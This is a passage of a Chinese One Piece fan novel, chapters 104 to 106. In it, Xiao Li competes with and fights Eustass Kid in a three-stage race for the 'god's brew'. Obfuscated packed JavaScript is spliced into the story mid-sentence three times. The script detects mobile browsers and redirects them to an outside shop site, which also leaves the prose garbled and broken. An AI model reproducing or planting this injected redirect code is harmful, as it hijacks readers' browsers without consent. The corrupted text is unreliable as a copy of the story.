一时间,起点线不远处的海域陷入了混乱。船只破损的呻吟、海贼落水的惨叫、海兽的嘶鸣、还有因为碰撞和混乱而爆发的、提前开始的械斗声交织在一起。所谓的“不准直接伤害”规则,在如此混乱的局面下形同虚设。 而小狸的前锋号,却如同一尾游鱼,在浪尖与礁石的缝隙间轻盈穿梭。她将见闻色霸气运用到极致,提前感知海浪的起伏和礁石的位置,操控火焰喷射的角度和力度,做出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有了基德这艘“人形破冰船”在前,后面跟上来的船只压力大减,除了在起点处就陷入混战沉没的那一批,后续的赛程竟然变得“简单”了许多。毫不意外,第一个抵达浮标并折返的,正是基德。小狸操控着前锋号,不紧不慢地跟在后面,稳居第二。 到了后半程,她甚至更加偷懒,悄悄用能力和附近一只温顺的大型海兽沟通了一下,让它在水下用背部轻轻顶着自己的船底前进。她则悠闲地坐在船头,晃着腿,欣赏后面那些为了争夺名次而再次大打出手、丑态百出的家伙们,有互相使绊子撞船的,有被海兽追得哭爹喊娘的,还有试图偷袭前面选手结果自己触礁的,好不热闹。直到靠近终点线,她才打起精神,装模作样地让海兽离开,自己操控火焰推进,“全力”冲刺了一下,稳稳地以第二名抵达。 基德靠岸,从船上跳下,瞥见那个小不点居然能紧跟在自己身后回来,眼中闪过一丝讶异。但他很快恢复了那副狂傲的样子,从鼻子里哼了一声,评价道:“花里胡哨。” 显然,他对小狸那种看似取巧、不够“硬核”的方式很不以为然。 小狸才不在乎他的评价,她操控前锋号灵巧地靠岸,海岸边早早上岸看热闹的白胡子海贼团成员们纷纷朝她挥手。小狸跳下船,开心地冲他们招了招手,笑容灿烂,仿佛刚才只是进行了一场轻松愉快的兜风,完全忘记了刚才比赛的紧张和基德的冷脸。然后,她转回头,看向正在检查义肢、仿佛对周围欢呼漠不关心的基德。 不仅基德那艘伤痕累累但气势不减的船和她的小艇相比堪称庞然大物,他本人也极其高大,小狸需要使劲仰起头才能看到他的脸。但她毫不怯场地抬起小巧的下巴,蔚蓝的猫瞳里燃烧着清晰的斗志,一字一句地重复了赛前的宣言: “我一定会赢的,刺猬头。” 基德检查义肢的动作顿住了。他缓缓低下头,猩红的眼睛危险地眯起,居高临下地看着这个还不到他胸口高、却敢给他起外号的小不点,额头上爆出青筋,凶恶的眼神几乎要喷出火来,巨大的金属义肢发出轻微的“咔哒”声,仿佛被这个称呼瞬间激怒。 “你说……谁是刺猬头啊?!!” 他的怒吼几乎掀翻海岸,“找死吗小猫崽?!现在就来单挑啊!!!” “略——谁怕谁啊!” 小狸丝毫不惧,甚至还吐了吐舌头,做了个十足的挑衅鬼脸。 第一关结束,所谓的百名晋级者实际上回来的不足九十人。主持人在高台上疯狂炒热气氛,而小狸和基德,则隔着一段距离,用眼神进行着无声的、激烈的交锋。谁胜谁负暂且不知,但白胡子海贼团的“凶星”小狸,与极恶世代的“磁气魔人”尤斯塔斯·基德,这个充满了意外、竞争和些许荒谬的梁子,算是彻底结下了。而这场以“神之佳酿”为名的荒诞大赛,才刚刚拉开它真正的序幕 105.礼尚往来 刚刚从“狂浪礁”那片混乱海域中挣扎出来的幸存者们,还未来得及喘匀气,就被比赛的氛围裹挟着,来到了比尔岛那座标志性的活火山脚下。 空气中弥漫着刺鼻的硫磺气味,温度明显升高。抬头望去,火山的侧面是近乎垂直的陡峭岩壁,岩石呈焦黑色,一些裂缝中隐约可见暗红色的光芒,那是下方岩浆的色泽。不时有小型岩浆泡从岩壁缝隙或上方喷发口溅射而出,拖着灼热的尾迹坠落,在岩石上留下新的焦痕。更有缕缕带着刺鼻气味的蒸汽从各处喷出,那是足以令人头晕目眩的有毒气体。 第二关的比赛场地,就在这座火山的侧面 那个唯恐天下不乱的主持人,此刻正舒舒服服地坐在一个悬挂着巨大广告横幅的热气球里,慢悠悠地飘在火山半空的安全距离外,通过扩音电话虫,用他那标志性的幸灾乐祸语调向众人广播: “欢迎我们勇敢的幸存者们来到——热情似火的第二关!!!” 他夸张地挥舞着手臂,指向火山顶端隐约可见的一个黑点: “火山口附近,有一个巨龙的巢穴!巢穴里,有五颗它珍贵的蛋!” “勇者当然要战胜恶龙了,勇者们的任务就是找到巨龙的巢穴,把那五颗蛋,完完整整、毫发无损地带下来!交到我们位于山脚的终点裁判处!” 他停顿了一下,声音陡然变得兴奋而充满煽动性:“请注意!因为蛋的数量有限,所以这一关鼓励选手之间进行竞争!只有当你捧着蛋,双脚稳稳踏上终点线的那一刻,才算真正完成比赛,晋级最终关卡!” “不到最后一刻,绝对不能放松警惕!这就是第二关的魅力所在!是体力、耐力、智慧与残酷竞争的结合!让我们看看,是哪五位幸运的勇士,能带着‘战利品’凯旋呢?” 规则宣布完毕,山脚下顿时响起一片倒吸冷气的声音,随即是更加凝重的气氛和彼此间更加警惕的审视。只有五个人能晋级?这意味着超过九成的人将被淘汰,而且过程注定充满血腥的争夺。 小狸和基德几乎是同时走到起跑线后的。两人隔着几步距离,互不理睬,但空气中仿佛有火花在噼啪作响。小狸仰头看着高耸的火山,心里嘀咕:巨龙?主办方为了噱头连骗小孩子的童话都说出来了么……不过,为了神之佳酿,管它呢! 她活动了一下手腕脚踝,她对这项挑战颇有信心,比速度她可不会输的!尤其是输给旁边那个只会蛮干的刺猬头! 基德则抱着他那条巨大的金属手臂,眼神凶悍地扫视着火山岩壁,似乎在寻找最佳的路线。磁力在这种非金属为主的环境下作用有限,看来要靠力量了。他瞥了一眼身边娇小却跃跃欲试的小不点,鼻腔里哼出一声不屑的浊气。 “各就各位——预备——开始!!!” 发令枪再次响起,选手们如同离弦之箭,冲向炽热的岩壁。 没有绳索,没有安全设备,纯粹的徒手攀岩!在这种近乎垂直、表面炽热且不稳定的岩壁上,每一秒都是对体能、技巧和胆量的极限考验。 小狸如同一道黑色的闪电,瞬间就冲在了最前面。她没有使用任何工具,手指牢牢抓住任何微小的凸起或岩缝,双脚精准地蹬踏借力,身体轻盈得像没有重量,以惊人的速度向上攀升。她在陡峭险峻的地形中如履平地,灵巧地规避着上方不时坠落的灼热岩浆块和松动的碎石,将大部分选手远远甩在身后。 后面的参赛者们也是八仙过海,各显神通。有使用特制钩爪和岩钉的,有穿戴吸盘手套的,甚至有使用小型推进器辅助的。但这些外在工具在高温和复杂地形下,故障率奇高。一时间,岩壁上叮叮当当,好不热闹。 基德的方法则简单粗暴得多。他低吼一声,义肢狠狠砸向岩壁!“轰!”坚硬的火山岩被硬生生砸出一个凹坑,作为落脚点。他凭借着义肢强大的抓握力,深深抠进岩石,提供主要支撑和拉力。他就这样,依靠着蛮横的体魄和义肢的力量,以一种近乎“跳跃”的方式,在岩壁上快速攀升。不过,金属义肢的重量在需要极度灵巧的攀岩中,有时反而成了累赘,让他的动作显得有些笨重。 小狸爬到大半高度,在一处突出的、侥幸生长着一棵耐热扭曲小树的岩台上暂时落脚,喘了口气。空气中硫磺味浓得让人头晕,高温炙烤着皮肤,汗水刚渗出就被蒸干。这山比她想象的要高得多,也热得多。主办方是怎么把“蛋”送上去的?热气球可飞不到火山口附近这么紊乱的气流区……难道有更厉害的家伙?她有点羡慕会飞的能力者了。 她打开腰间那个看起来并不起眼的小背包,从里面掏出一瓶水,拧开盖子,仰头“咕咚咕咚”喝了几口。清凉的水滑过喉咙,带来一丝难得的慰藉。 然而,她这悠闲喝水的举动,落在下方正在奋力攀爬、汗流浃背的基德眼里,简直就是赤裸裸的炫耀和挑衅! “这个小猫崽……”基德咬了咬牙,眼中凶光更盛。他怎么能被一只猫比下去?!肾上腺素飙升,他怒吼一声,右拳再次狂暴地轰在岩壁上,借力向上猛地一窜!这一下力道过猛,山体被他这记重击震得微微发颤。 小狸落脚的那棵小树本就根基不牢,被这震荡波及,顿时剧烈地摇晃起来!小狸正喝着水,一时不察,身体一晃,手中喝了一半的水瓶脱手而出,直直地朝着下方坠落! “啊!小心——!”小狸下意识地惊呼出声,想要提醒下面的基德。 基德正全神贯注攀爬,忽然感觉头顶有东西带着风声砸下来。他头也不抬,嘴角扯出一丝冷笑:“哼!想用这种小伎俩偷袭我?太天真了!” 他自信地判断了落点,身体敏捷地向旁边一闪,完美地避开了下坠的水瓶。 然后—— “哗啦!” 半瓶冰凉的清水,精准无比地浇了他一头一脸,顺着他赤红的刺猬头、凶恶的脸颊、敞开的胸膛流淌而下,在灼热的空气中升起一丝白气。 时间仿佛静止了一秒。 基德僵硬地抹了一把脸上的水珠,缓缓地抬起头,看向上方那个罪魁祸首。他的眼神已经不是凶恶可以形容,那是即将择人而噬的猛兽。 “你——找——死——!!!” 从牙缝里挤出的声音,低沉而恐怖。 小狸也被这意外弄懵了,连忙摆手解释:“我都说了让你小心的!” “别废话!来堂堂正正的对决啊!!” 基德根本不听,怒火彻底点燃。他左臂义肢的五指猛地收紧,深深抠进岩石,然后狠狠一扯! “轰隆——!” 在磁力的微弱辅助和纯粹蛮力下,一大块岩石竟被他硬生生从山体上撕扯下来!他单手抡起这块足有轮胎大小的巨石,看也不看,朝着上方小狸的位置就狠狠掷了过去!石块带着呼啸的风声和基德的怒火,势不可挡! “啊!!!你疯啦!!” 小狸看着那块直径足有半米、呼啸着朝自己飞来的巨石,吓得尖叫,连忙从小树上跳开,躲向旁边的岩缝。巨石擦着她的脚底飞过,重重撞在更高处的岩壁上,顿时炸裂成无数大小不一的碎石,如同下雨般噼里啪啦地朝着下方无差别坠落! 小狸虽然躲开了巨石,却被激起的尘土和溅射的小石子弄得灰头土脸,咳嗽不止。而那些碎石更是毫不留情地砸在了下方所有正在攀爬的选手身上,顿时响起一片哀嚎和怒骂。 “靠!上面两个混蛋在搞什么?!” “我的头!!” “别打了!要打下去打!” 基德也被几块碎石砸中,但他皮糙肉厚,浑不在意,反而将这笔账再次算到了小狸头上,仰头怒吼:“小猫崽!你等着!我跟你没完!” “神经病!谁怕你啊,刺猬头!”小狸也火了,一边清理着脸上的灰,一边迅速向上爬,试图拉开距离。 然而基德显然不打算放过她。他开始变本加厉,一边攀爬,一边不断用义肢或拳头轰击岩壁,制造更多的落石,专门朝着小狸的大致方向倾泻,意图干扰她的路线,拖延她的速度。手法粗暴,毫不留情。 小狸左躲右闪,心中气急:这个红毛刺猬头绝对是疯了!简直不可理喻!小狸起初只是躲避,但落石越来越密集,终于,在她一边努力攀爬一边分神和基德吵架时,一块从她视野盲区拳头大小的碎石,不偏不倚,带着下坠的加速度,“咚”的一声,狠狠砸在了她毫无防备的头顶上! “呜——!” 小狸痛得眼前一黑,眼泪瞬间就涌了上来,发出一声短促的、带着哭腔的痛哼。她不得不停下,一只手紧紧捂住被砸中的地方。 下方的基德看到了她捂着脑袋、身形摇晃的狼狈样子,先是一愣,随即爆发出肆无忌惮的狂笑:“哈哈哈!活该!小猫崽,这下知道厉害了吧?!” 这笑声如同火上浇油。小狸甩了甩嗡嗡作响的脑袋,擦掉眼角的生理性泪水,蔚蓝的猫瞳里燃起了真正的怒火。 “神经病!我不客气啦!!” 她不再留手,猛地转身,面对下方的基德,抬起右手,指尖“噗”地一声燃起一簇炽热的橘红色火焰,瞄准基德上方的一块脆弱岩壁,屈指一弹! 火球精准命中,高温瞬间让那块岩壁膨胀崩裂,火焰的高温和冲击力引发了小范围的岩崩!比基德制造的落石更麻烦的是,这次崩落的碎石还裹挟着未熄的火焰和滚烫的岩浆碎屑,如同一场小型的火焰陨石雨,劈头盖脸地朝着基德笼罩下去! 基德猝不及防,连忙挥动义肢格挡,但仍被几块燃烧的碎石击中,烫得他龇牙咧嘴,披风也被烧出了几个洞。然而,被这样反击之后,基德非但没有暴怒到失去理智,反而像是被点燃了某种更亢奋的情绪。烟尘散去,他抬头看向上方那个眼神凶狠、指尖还跳跃着火苗的小不点,脸上非但没有愤怒,反而咧开嘴,露出了一个更加狂野、充满兴奋和战意的笑容: “有点意思!这才像样嘛!小猫崽!看招!” 他不再单纯制造落石,而是开始有意识地用碎石进行“投掷攻击”,甚至尝试用磁力轻微影响那些带有金属矿物的石块轨迹。 两人就这样,在垂直的、危险重重的火山岩壁上,一边艰难地向上攀爬,一边热火朝天地互相攻击、使绊子,开始了激烈的“礼尚往来”。火球与碎石齐飞,怒骂与碰撞共响,场面惊险万分,却又因为两人那种孩子赌气般互不相让的劲儿,透着一股滑稽感。两人身下的其他参赛者可就倒了大霉。原本就困难重重的火山攀爬,因为不断从天而降的“陨石雨”和“碎石瀑”,直接升级成了地狱难度。惨叫声、怒骂声、坠落的闷响声此起彼伏,不断有人失手或被砸中,惨叫着从岩壁上跌落,退出比赛。 小狸简直要被这个红毛刺猬头神经病气死了!再这样纠缠下去,别说夺冠,说不定蛋都被别人拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17071692|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光了!她决定不再恋战。 看准一个机会,她指尖凝聚起一团比之前大得多的火球,深吸口气,用尽全力朝着基德头顶上方的岩壁轰去! “最后一招!接好了,刺猬头!” “轰——!” 剧烈的爆炸激起大片烟尘和碎石,瞬间遮蔽了基德的视线。 “咳咳!混蛋!”基德挥臂驱散烟尘。 而就在这片刻的混乱中,小狸抓住这宝贵的时机,脚下发力,不再有任何保留,将猫科动物的爆发力和灵巧发挥到极致。她如同在垂直岩壁上奔跑,几个令人眼花缭乱的连续纵跃,瞬间将基德甩开了一大截距离! 等基德看清时,小狸已经变成了岩壁上方的一个小黑点。 “喂!你有本事别跑啊!”基德气急败坏地吼道。 小狸的声音从高处飘下来,带着得意:“傻子才在这里和你浪费时间打架!你有本事追上我啊!笨——蛋——” “好好好!你给我等着!!!” 基德暴跳如雷,攀爬速度竟然又快了几分。 小狸不再理会身后的咆哮,全神贯注于最后的冲刺。炙热的硫磺蒸汽越来越浓,熏得她眼睛发酸流泪,但她皱着眉,凭借着惊人的毅力和最后的爆发力,最后一个奋力弹跳,双手终于抓住了火山口边缘相对平整的岩石,一个翻身,稳稳落在了山顶——一片被硫磺烟雾笼罩、温度极高的相对平坦区域。 “咳咳咳……”浓烈的硫磺味让她几乎窒息,眼泪直流。她眯着眼睛,用手扇着风,努力寻找目标。 “蛋……蛋在哪里……” 她本以为需要一番搜寻,但目标却异常醒目,火山口内侧不远,一处相对稳固的平台上,一个用某种耐热黑色枝条和岩石碎块搭建的、直径超过五米的巨大鸟巢赫然在目。巢穴里面,整整齐齐地摆放着五枚“蛋”。 只是……这“蛋”的尺寸,远远超出了小狸的想象。 她跳进鸟巢,走到一枚蛋旁边。这蛋足有她半个身子那么大,外壳呈现出一种奇特的暗红色,带着类似岩浆冷却后的纹理,摸上去居然还温热着,仿佛内部有生命在律动。 “这……真的是道具吗?”小狸心里泛起嘀咕,有点太过逼真了吧。不过现在不是研究这个的时候,先拿到手再说! 她试着抱了抱,很沉,但还在她能移动的范围内。不过,为了保险起见……她眼珠一转,决定多拿一个!万一被那个疯子基德追上抢走或者打碎呢?反正规则又没说不让多拿! 至于怎么带走……小狸拍了拍自己腰间那个看起来平平无奇的小背包,嘴角勾起一抹狡黠的笑。这是小狸学习到的布拉曼克队长袋袋果实的能力,原来能装的东西很有限,小狸这两年来努力修行,虽然还远不及布拉曼克队长正牌的袋袋果实,但装下这颗大蛋,绰绰有余! 她迅速捧起第一颗暗红巨蛋,小心翼翼地塞进那个仿佛无底洞般的小背包。接着抱起第二颗。 就在她准备去拿第三颗时,下方传来了基德越来越近、越来越急迫的怒吼声:“野猫!你别跑!老子来了!!!” 小狸吐了吐舌头:“傻子才等你呢!” 她果断放弃第三颗蛋,跳出鸟巢,辨认了一下方向,选择了与基德上来方向相反的另一侧岩壁,纵身跃下,凭借出色的平衡和卸力技巧,在陡峭的岩壁上几个起落,迅速下降,很快消失在弥漫的硫磺蒸汽中。 “混蛋!!!你又跑了!!!”基德终于爬上了山顶,恰好看到小狸在另一侧坡面一闪而逝的背影,气得他在火山口直跳脚,怒吼声震得火山灰都簌簌落下。 当她下到半山腰时,还能清晰地听到山顶传来基德气急败坏、震耳欲聋的咆哮。 小狸忍住笑,加快速度。稳稳地抱着一颗完好无损的暗红巨蛋,在众多观众惊讶的目光中,第一个冲过了山脚的终点线,将蛋交给了目瞪口呆的裁判。 “耶!晋级!”小狸拍了拍手上的灰,冲着不远处欢呼的人群优雅地行了个没有裙子的提裙礼,脸上带着胜利的得意。 过了好一会儿,基德才一手紧紧抱着一颗巨蛋,另一只手愤怒地挥舞着,如同暴怒的红毛猩猩般冲了下来。他身上的夹克和披风多了不少焦痕和破洞,脸上也沾着黑灰,看起来颇为狼狈。他一眼就锁定了正在喝水的小狸,怒气冲冲地大步走过来: “你!为!什!么!又!跑!了!”他几乎是从牙缝里挤出这句话。 小狸用看傻子一样的眼神看着他,理直气壮:“这是比赛吧?我的目标是拿到蛋并带下来,又不是来和你打架的。倒是你,”她指了指基德怀里因为颠簸而微微晃动的蛋,“别把蛋给颠碎咯,那就白爬了。” “……”基德被噎得一时语塞,狠狠瞪了她一眼,才不甘不愿地将蛋交给旁边憋笑的工作人员确认。一完成交接,他立刻转身,气势汹汹地想要继续刚才“未完成的对决”。 然而,小狸早就料到他这一出。在他转身的瞬间,她已经像一尾滑不留手的鱼,呲溜一下钻进了欢呼的人群,几个闪身就消失不见了。 “可恶啊!!!!”基德扑了个空,对着空气无能狂怒,只能冲着人群方向咬牙切齿地放狠话:“给我等着!小猫崽!下一关老子一定要你好看!!!”基德的怒吼声在火山脚下回荡,为这混乱激烈的第二关,画上了一个充满火药味的省略号。 106.那就好好打一架吧 比赛进程十分紧凑,从清晨的海上狂浪,到正午的火山熔岩,当仅存参赛者站在第三关的起跑线前时,已经是下午了。 说是“参赛者汇合”,实际上站在这里等待最终对决的,只有小狸和基德两人而已。原因很简单,在火山顶,基德发现蛋只剩下三枚后没有丝毫犹豫,直接用他那沉重的金属义肢,将剩下的两枚蛋砸得粉碎。 “反正我只要一个就够了!剩下的,谁也别想拿!”当时他狂傲的宣言和四溅的蛋液让随后爬上来的其他选手目瞪口呆,也彻底断绝了他们晋级的可能。小狸在后来听到有人绘声绘色的描述这一场景时只觉得眼皮直跳,默默给这家伙贴上了“破坏狂”、“神经病”、“完全没有公德心”等多个标签。不过,托他这个“坏人”的福,最终竞争的压力的确小了许多……虽然这个“小了许多”的对手本身,就是最大的压力来源。 此刻,两人站在森林边缘,眼前是比尔岛另一侧从未被大规模开发过的原始丛林,树木高耸入云,树冠遮天蔽日,即使是下午,林内的能见度也并不高。粗壮的藤蔓如同巨蟒般缠绕垂落,地面是厚厚的腐殖质和盘根错节的树根,隐约可见水洼和颜色可疑的泥沼,空气中弥漫着潮湿和未知植物的奇异气息,一眼望去就知危机四伏。 主持人的声音传来:“最后的勇者们!欢迎来到‘迷踪巨木森林’!终极对决,现在开始!林中共隐藏着三面特制旗帜,找到它们,然后带着旗帜穿越这片丛林,到达另一端的终点线!谁先撞线,谁就是本届大赛的最终冠军,赢得‘神之佳酿’!” 他顿了顿,声音里充满了恶意的兴奋:“至于规则?哈哈哈哈!在这里,没有任何规则!抢夺、拦截、战斗……一切手段都被允许!只有真正的强者,才能带着旗帜和胜利走出这片森林!祝你们……玩得愉快!” 三面旗帜?小狸看了一眼身边那个浑身散发着“老子现在就想打架”气息的红毛刺猬头,心里清楚,这规则现在形同虚设。主办方大概也没料到最后能站在这里的只有两个人。更何况以刺猬头的作风,肯定是“我全都要”或者“我得不到你也别想要”。 小狸深吸了一口林边略带凉意的空气,果然,基德从站定开始,那双凶恶的眼睛就没离开过她,眼神里充满了跃跃欲试的侵略性,她皱了皱鼻子,心里一阵烦躁:这个红毛刺猬头神经病,没完没了的! 她转过头,直视基德的眼睛,抢先开口,试图把这家伙的注意力从“打架”转移到“比赛”上:“喂,刺猬头,我不是来和你在这里无休无止打架的。我们都是为了同一个目标来的,对吧?‘神之佳酿’。” 她顿了顿,为了加强说服力,故意挺起胸膛,用挑衅的语气补充道,仿佛生怕煽动力不够:“而且,我一定会赢的! 冠军和佳酿都是我的!” 激将法对基德这种性格的人往往有奇效。他果然被转移了注意力,或者说,被小狸的“大言不惭”再次挑起了好胜心。他嗤笑一声,露出森白的牙齿:“哼,小猫崽,口气倒是不小!你不会真以为凭你那点小花招,就能战胜我吧?等着跟在我屁股后面,看着我夺冠的背影哭鼻子吧!” 成功! 小狸在心里悄悄比了个耶。只要他肯把精力放在比赛上,而不是一上来就死磕自己就谢天谢地了。 “各就各位——开始!!!” 随着主持人最后一个尾音落下,小狸如同离弦之箭,嗖地一下窜进了茂密幽暗的丛林,瞬间被层层叠叠的绿色吞没。 进入森林后,小狸立刻将感官提升到极致。森林内部比从外面看起来更加庞大复杂。地面湿滑泥泞,腐烂的树叶下隐藏着危险的沼泽,一脚踩空就可能陷入灭顶之灾。小狸几乎没有犹豫,放弃了地面行进,转而利用自己娇小的身形和猫科动物天生的攀爬能力,在纵横交错的粗壮枝干间轻盈地跳跃穿梭。她甚至特意选择了与基德冲进去的方向完全相反的路线,鬼知道那个神经病会不会突然发疯,不管不顾地先来找她打一架。 果然,没过多久,森林的另一端就传来树木倒塌的轰隆巨响、金属撞击岩石的刺耳噪音、以及基德那毫不掩饰的、充满破坏欲的怒吼。他显然在用自己的方式“开路”,或者说,纯粹是在发泄多余的精力。 “笨——蛋——”小狸在树枝上翻了个白眼,小声嘀咕。这样闹出巨大动静,不仅消耗体力,更容易引来未知的危险,还怎么悄悄找旗子?不过,以那家伙的性格,恐怕根本不在乎。 幸运的是,或许是距离足够远,也或许是基德终于意识到在密林中胡乱破坏消耗体力太大,远方的骚动声持续了大约半小时后,逐渐平息了下来。森林重新被各种窸窣的虫鸣和鸟叫占据。 小狸的搜寻并不轻松。这片森林比她预想的还要广阔和复杂,旗帜隐藏得极为巧妙。她不得不放慢速度,仔细感知任何不自然的痕迹,将近一个小时后,她终于在一处被层层藤蔓和寄生蕨类覆盖的、中空的巨大枯树树洞深处,发现了那面颜色黯淡、却印着大赛标志的旗帜 “找到了!” 心中涌起一阵雀跃,她的手探入树洞,手指触碰到冰凉布料的瞬间 一股凌厉的、带着金属破空声的劲风,毫无预兆地从她身后袭来。小狸全身汗毛倒竖,战斗本能让她在千钧一发之际向侧前方扑倒翻滚! “嗤啦——!” 锋利的金属碎片擦着她的后背飞过,将她几缕扬起的黑色发丝齐齐斩断,深深嵌入前方的树干中。 小狸心脏猛地一跳,瞬间进入战斗状态,抓着旗帜就地一滚,避开了可能的后续攻击,警惕地望向攻击袭来的方向。 昏暗的光线下,一个高大的身影分开层层藤蔓,走了出来,正是尤斯塔斯·基德。他脸上带着那种狩猎者终于堵住猎物般的、混合着兴奋与凶残的笑容,巨大的金属义肢在微弱的光线下反射着冷光。 “找到你了。”他的声音低沉,带着压抑的亢奋,“这次,看你这只滑不溜手的小猫崽,还能往哪儿跑。” 小狸跃上树梢,手里紧紧攥着那面得来不易的旗帜,胸膛微微起伏。她看着基德眼中那纯粹而炽热的战意,说不上来此刻是何种心情。 因为终于被对方真正视为一个需要认真对待的“对手”,而不是可以随意忽视或保护的附属品而产生的一丝微妙的开心?还是被这个阴魂不散、死缠烂打的神经病再次缠上的恼怒和无奈? 或许两者都有。 既然避无可避……那就,如他所愿! 她不再试图逃跑或讲道理。眼底最后一丝犹豫褪去,取而代之的是战意如同被点燃的火焰熊熊燃烧。她将旗帜飞快地塞进腰间的小包,四肢微微伏低,重心下沉,做出了一个标准的、充满进攻性的起手式。尖尖的猫耳机警地转动,捕捉着周遭一切声音,尾巴在身后缓缓摆直,如同蓄势待发的鞭子。 看着树梢上那只小猫崽终于不再躲避,反而压低身体,摆出了进攻姿态,眼里燃起与自己如出一辙的、纯粹的战斗渴望,甚至嘴角也勾起了一抹相似的、兴奋的弧度,基德先是一愣,随即爆发出更加狂野、畅快的大笑: “没错!没错!就是这样!来吧!让我好好看看,你能做到什么程度!” “这句话——该我说才对!”小狸不再多言,身形骤然消失! 她脚下用力一蹬,腐朽的枯木瞬间碎裂!娇小的身影如同黑色的闪电,直扑基德面门,速度快得只留下一道残影。 基德瞳孔微缩,战斗本能让他立刻抬起义肢格挡在身前。 “铛——!!!” 尖锐刺耳的金属摩擦声爆响!小狸覆盖着武装色霸气的利爪,狠狠抓在基德的钢铁义肢上,爆出一连串耀眼的火花!巨大的反震力传来,小狸借力身体在空中诡异地一扭,另一只手五指并拢,指尖萦绕着凝练的气劲,如同毒蛇出洞,直刺基德肋下空档! 基德闷哼一声,右臂肌肉贲起,包裹着武装色猛地向下挥砸,试图打断小狸的攻势。小狸却仿佛早有预料,接触的瞬间便轻盈地借力向后翻跃,稳稳落在几米外的空地,四肢着地,瞳孔在昏暗光线下收缩成两道危险的竖线,紧紧锁定猎物。 “再来啊!白胡子船上的猫,就这点水平吗?!”基德甩了甩被震得有些发麻的手臂,大声挑衅。 “早得很呢!刺猬头!”小狸回敬,声音清脆却带着冰冷的战意。 她再次启动,这一次速度更快,身影在林木间几次闪烁,利用树干和阴影作为掩护,瞬息间竟已出现在基德身侧视觉死角!娇小的身体优势发挥到极致。 “什——?!”基德心中一凛,好快! 就在他视线稍滞的瞬间,小狸的身影突兀地出现在他正面极近处,双指并拢如剑,指尖凝聚着高度压缩的力量,以迅雷不及掩耳之势,精准地点向他的下巴! 指枪·改! “砰!” 一声闷响!尽管基德在最后关头勉强向后仰头,并用武装色覆盖了下巴,但那凝聚于一点的巨大冲击力仍让他脑袋猛地向后一仰,颈椎发出不堪重负的轻响,整个人踉跄着向后连退好几步,在地上踩出深深的脚印。 “咳咳……”基德晃了晃有些发晕的脑袋,眼中闪过一丝惊愕,随即被更浓烈的兴味取代,“指枪?你不是白胡子海贼团的人吗?怎么会海军那帮狗腿子的招式?!” 小狸缓缓站直身体,甩了甩有些发麻的手指,回想起在风车村被卡普和战国“爱心特训”的那段“地狱时光”,顿时悲从中来,小脸都皱成了一团:“你以为我想学吗?!我可是经过了……一段根本不想回忆的魔鬼训练啊!” 话音刚落,她再次揉身扑上,不给基德喘息的机会! 这一次,基德显然有了防备。他低吼一声,左臂义肢上的磁力装置微微发光。顿时,散落在周围林地中的金属碎片、遗落的铆钉、甚至他自身义肢上脱落的少许金属屑——如同受到召唤般迅速聚集,在他面前编织成一张闪烁着寒光的、密密麻麻的金属网! 小狸冲锋的势头不由得一滞。 就在这瞬间的迟疑,基德的巨拳已经穿透金属网的缝隙,带着呼啸的风声和惊人的力量,狠狠砸向小狸的面门。 简单,粗暴,有效 “!” 小狸瞳孔骤缩,双臂交叉,武装色瞬间覆盖,硬架这一拳。 “咚——!!!” 沉重的闷响如同擂鼓,小狸娇小的身体如同被巨锤击中,虽然防御住了直接伤害,但那恐怖的冲击力仍让她双脚离地,向后倒飞出去,重重地撞在一棵需要数人合抱的巨树树干上,震得树叶簌簌落下。她喉头一甜,强忍着咽下,后背火辣辣地疼。 基德得势不饶人,巨大的身影紧随而至,又是一连串沉重迅猛的拳击,如同打铁般砸落!小狸咬紧牙关,在狭窄的空间内腾挪闪躲,实在避不开的便用覆盖武装色的手臂或腿脚格挡,每一次碰撞都让她气血翻腾,手臂发麻。 就在基德一记重拳挥出、旧力已尽新力未生的短暂间隙,小狸眼中精光一闪!她不再后退,反而猛地向前一扑,冒险切入基德怀中,双手如同灵蛇般缠上了他挥出的左臂,身体柔韧得不可思议,借着对方手臂回收的力量,一个轻巧的旋转便爬上了基德宽阔的后背,双腿如铁钳般锁住他的脖颈,腰肢爆发出惊人的力量 “喝啊——!” 借助基德自身的冲势和重量,一个干净利落的后仰背摔 “轰隆!” 基德庞大的身躯被狠狠掼在地面,砸得泥土飞溅,地面都凹陷下去一块。小狸自己也因为反作用力被甩飞出去,撞在另一棵树上,闷哼一声,疼得龇牙咧嘴。 但她不敢有丝毫停顿,立刻像弹簧一样弹开,与基德拉开了距离。 基德晃了晃有些发晕的脑袋,从泥坑里爬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17077271|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,甩掉身上的碎叶,看向小狸的眼神更加危险和……兴奋?他扭了扭脖子,发出咔吧的声响:“不错嘛……有点意思!” 小狸喘着气,没有答话,忽然抬起左脚,隔空朝着基德的方向猛地一挥 “岚脚?”基德下意识抬起义肢护在身前。然而,预想中的真空斩击并未出现。 小狸在踢击的瞬间,左拳已然凝聚火焰,岚脚不过是虚晃一枪 